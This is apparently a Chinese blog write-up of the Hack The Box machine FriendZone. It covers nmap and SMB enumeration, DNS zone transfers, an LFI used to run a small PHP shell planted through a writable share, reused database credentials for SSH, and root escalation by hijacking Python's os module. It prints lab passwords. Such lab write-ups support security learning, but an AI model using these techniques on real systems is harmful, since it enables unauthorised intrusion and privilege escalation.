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<div class="post-body" itemprop="articleBody"><p>简介：<br>靶机非CMS系统, 通过DNS漏洞、LFI和Hijacking可拿下靶机。在完成靶机的过程中有三个卡点, 后续将进行总结。</p>
<p>靶机状态: 已完成</p>
<span id="more"></span>
<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul>
<li>SMB</li>
<li>Zone_Transfer</li>
<li>LFI</li>
<li>Hajicking</li>
</ul>
<blockquote>
<p>SMB</p>
</blockquote>
<h4 id="nmap"><a href="#nmap" class="headerlink" title="nmap"></a>nmap</h4><p>用nmap扫描机器的IP地址，发现开放的端口及对应的服务</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Nmap 7.70 scan initiated Sat May 25 23:31:31 2019 as: nmap -sC -sV -oA FriendZone 10.10.10.123</span></span><br><span class="line">Nmap scan report <span class="keyword">for</span> 10.10.10.123</span><br><span class="line">Host is up (0.27s latency).</span><br><span class="line">Not shown: 993 closed ports</span><br><span class="line">PORT STATE SERVICE VERSION</span><br><span class="line">21/tcp open ftp vsftpd 3.0.3</span><br><span class="line">22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)</span><br><span class="line">| ssh-hostkey:</span><br><span class="line">| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)</span><br><span class="line">| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)</span><br><span class="line">|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)</span><br><span class="line">53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)</span><br><span class="line">| dns-nsid:</span><br><span class="line">|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu</span><br><span class="line">80/tcp open http Apache httpd 2.4.29 ((Ubuntu))</span><br><span class="line">|_http-server-header: Apache/2.4.29 (Ubuntu)</span><br><span class="line">|_http-title: Friend Zone Escape software</span><br><span class="line">139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</span><br><span class="line">443/tcp open ssl/http Apache httpd 2.4.29</span><br><span class="line">|_http-server-header: Apache/2.4.29 (Ubuntu)</span><br><span class="line">|_http-title: 404 Not Found</span><br><span class="line">| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO</span><br><span class="line">| Not valid before: 2018-10-05T21:02:30</span><br><span class="line">|_Not valid after: 2018-11-04T21:02:30</span><br><span class="line">| tls-alpn:</span><br><span class="line">|_ http/1.1</span><br><span class="line">445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)</span><br><span class="line">Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</span><br><span class="line"></span><br><span class="line">Host script results:</span><br><span class="line">|_clock-skew: mean: -59m46s, deviation: 1h43m51s, median: 10s</span><br><span class="line">|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)</span><br><span class="line">| smb-os-discovery:</span><br><span class="line">| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)</span><br><span class="line">| Computer name: friendzone</span><br><span class="line">| NetBIOS computer name: FRIENDZONE\x00</span><br><span class="line">| Domain name: \x00</span><br><span class="line">| FQDN: friendzone</span><br><span class="line">|_ System <span class="keyword">time</span>: 2019-05-25T18:32:12+03:00</span><br><span class="line">| smb-security-mode:</span><br><span class="line">| account_used: guest</span><br><span class="line">| authentication_level: user</span><br><span class="line">| challenge_response: supported</span><br><span class="line">|_ message_signing: disabled (dangerous, but default)</span><br><span class="line">| smb2-security-mode:</span><br><span class="line">| 2.02:</span><br><span class="line">|_ Message signing enabled but not required</span><br><span class="line">| smb2-time:</span><br><span class="line">| <span class="built_in">date</span>: 2019-05-25 23:32:06</span><br><span class="line">|_ start_date: N/A</span><br></pre></td></tr></table></figure>
<h4 id="ftp"><a href="#ftp" class="headerlink" title="ftp"></a>ftp</h4><p>尝试ftp匿名登陆失败</p>
<h4 id="etbios-ssn-Samba"><a href="#etbios-ssn-Samba" class="headerlink" title="etbios-ssn Samba"></a>etbios-ssn Samba</h4><p>smbmap、smbclient查看匿名登陆samba服务，从中搜索文件中的敏感信息</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# smbmap -u guest -H 10.10.10.123</span><br><span class="line">[+] Finding open SMB ports....</span><br><span class="line">[+] Guest SMB session established on 10.10.10.123...</span><br><span class="line">[+] IP: 10.10.10.123:445 Name: 10.10.10.123</span><br><span class="line"> Disk Permissions</span><br><span class="line"> ---- -----------</span><br><span class="line"> <span class="built_in">print</span>$ NO ACCESS</span><br><span class="line"> Files NO ACCESS</span><br><span class="line"> general READ ONLY</span><br><span class="line"> Development READ, WRITE</span><br><span class="line"> IPC$ NO ACCESS</span><br><span class="line"></span><br><span class="line">root@kali:~# <span class="built_in">cat</span> creds.txt</span><br><span class="line">creds <span class="keyword">for</span> the admin THING:</span><br><span class="line"></span><br><span class="line">admin:WORKWORKHhallelujah@#</span><br></pre></td></tr></table></figure>
<blockquote>
<p>Zone_Transfer</p>
</blockquote>
<p>机器开放53(DNS)端口, 所以尝试搜集DNS中的信息</p>
<h4 id="dig"><a href="#dig" class="headerlink" title="dig"></a>dig</h4><p>这里有一个很坑的地方, 第一此根据WEB页面中的friendzoneportal.red邮箱后缀, 于是用dig查friendzoneportal.red的子域; 一直无法找到突破口, 后来在一份wp上看到需要查friendzone.red的子域; 但暂不清楚具体的原因。查找所有的子域名后, 找到可用的子域名administrator1.friendzone.red.</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# dig axfr friendzoneportal.red @FriendZone.htb</span><br><span class="line"></span><br><span class="line">; <<>> DiG 9.11.5-P4-3-Debian <<>> axfr friendzoneportal.red @FriendZone.htb</span><br><span class="line">;; global options: +cmd</span><br><span class="line">friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800</span><br><span class="line">friendzoneportal.red. 604800 IN AAAA ::1</span><br><span class="line">friendzoneportal.red. 604800 IN NS localhost.</span><br><span class="line">friendzoneportal.red. 604800 IN A 127.0.0.1</span><br><span class="line">admin.friendzoneportal.red. 604800 IN A 127.0.0.1</span><br><span class="line">files.friendzoneportal.red. 604800 IN A 127.0.0.1</span><br><span class="line">imports.friendzoneportal.red. 604800 IN A 127.0.0.1</span><br><span class="line">vpn.friendzoneportal.red. 604800 IN A 127.0.0.1</span><br><span class="line">friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800</span><br><span class="line">;; Query <span class="keyword">time</span>: 252 msec</span><br><span class="line">;; SERVER: 10.10.10.123#53(10.10.10.123)</span><br><span class="line">;; WHEN: Sat Jun 01 03:31:49 EDT 2019</span><br><span class="line">;; XFR size: 9 records (messages 1, bytes 309)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看wp后继续进行</span></span><br><span class="line">➜ ~ dig axfr friendzone.red @FriendZone.htb</span><br><span class="line"></span><br><span class="line">; <<>> DiG 9.10.6 <<>> axfr friendzone.red @FriendZone.htb</span><br><span class="line">;; global options: +cmd</span><br><span class="line">friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800</span><br><span class="line">friendzone.red. 604800 IN AAAA ::1</span><br><span class="line">friendzone.red. 604800 IN NS localhost.</span><br><span class="line">friendzone.red. 604800 IN A 127.0.0.1</span><br><span class="line">administrator1.friendzone.red. 604800 IN A 127.0.0.1</span><br><span class="line">hr.friendzone.red. 604800 IN A 127.0.0.1</span><br><span class="line">uploads.friendzone.red. 604800 IN A 127.0.0.1</span><br><span class="line">friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800</span><br><span class="line">;; Query <span class="keyword">time</span>: 234 msec</span><br><span class="line">;; SERVER: 10.10.10.123#53(10.10.10.123)</span><br><span class="line">;; WHEN: Thu Jun 20 11:12:25 CST 2019</span><br><span class="line">;; XFR size: 8 records (messages 1, bytes 261)</span><br></pre></td></tr></table></figure>
<p>发现域名<strong>friendzoneportal.red.</strong>、<strong>admin.friendzoneportal.red.</strong>、<strong>files.friendzoneportal.red.</strong>、<strong>imports.friendzoneportal.red.</strong>、<strong>vpn.friendzoneportal.red.</strong>、<strong>friendzone.red</strong>、<strong>administrator1.friendzone.red.</strong>、<strong>hr.friendzone.red.</strong>、<strong>uploads.friendzone.red.</strong>, 共9个</p>
<blockquote>
<p>LFI</p>
</blockquote>
<p>访问administrator1.friendzone.red站点, 输入从SMB共享中找到的账号密码, 发现一处LFI: ``, 通过SMB共享在Development目录中写入webshell即可获得反弹webshell, </p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="title function_ invoke__">system</span>(<span class="string">"/bin/sh -"</span>);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p>拿到webshell后, 成功读取user.txt</p>
<blockquote>
<p>Hajicking</p>
</blockquote>
<p>通过webshell后在网站目录中找到mysql数据库的账号密码:</p>
<figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mysql_data.conf:</span><br><span class="line"> <span class="attribute">db_user</span>=friend</span><br><span class="line"> <span class="attribute">db_pass</span>=Agpyu12!0.213$</span><br><span class="line"> <span class="attribute">db_name</span>=FZ</span><br></pre></td></tr></table></figure>
<p>用账号密码登陆ssh服务, 通过LinEnum.sh查找可利用弱点未果, 用pspy64查找系统中隐藏的内容时发现两个有意思的地方, 新用户登录时, 会用root权限设置环境变量并用相对路径执行cut命令; 机器会定时用root权限执行一次<code>/usr/bin/python /opt/server_admin/reporter.py</code>; 有了这两个内容后，可以考虑Hajicking cut、python的包或者修改/opt/server_admin/reporter.py文件提权;<br>通过<code>find / -type d -writable 2>/dev/null</code>查看可写目录, 发现PATH中的目录不可写, 但<code>/usr/lib/python2.7</code>目录可写, 因此Hajicking cut这条路不通, 考虑python； 最后通过Hajicking python的os包实现了提权.</p>
<figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">friend<span class="variable">@FriendZone</span><span class="symbol">:/tmp</span><span class="variable">$ </span>cat owef.txt</span><br><span class="line">b0e6c60b8*********<span class="number">656</span>a9e90c7</span><br></pre></td></tr></table></figure>
<blockquote>
<p>卡点</p>
</blockquote>
<p>卡点1: dig查域传送时, 忽略了friendzone.red子域, 但是为什么会查这个子域呢？可能猜测这块是我最不擅长的地方吧, 没想到查这个地方, 导致一直无法找到HAHA page。<br>卡点2: 找到HAHA page后，需要通过LFI加载php文件, 但是一致无法找到有效目录, 后来用nmap自带的enum模块扫了一下smb端口才发现, 原来nmap枚举可以显示出共享文件对应的物理文件路径;<br>卡点3: python Hajicking, 初次遇到.</p>
<blockquote>
<p>参考文章</p>
</blockquote>
<p><a target="_blank" rel="noopener" href="https://johnkoerner.com/codemash/codemash-ctf-solution-2019-08/">dig</a></p>
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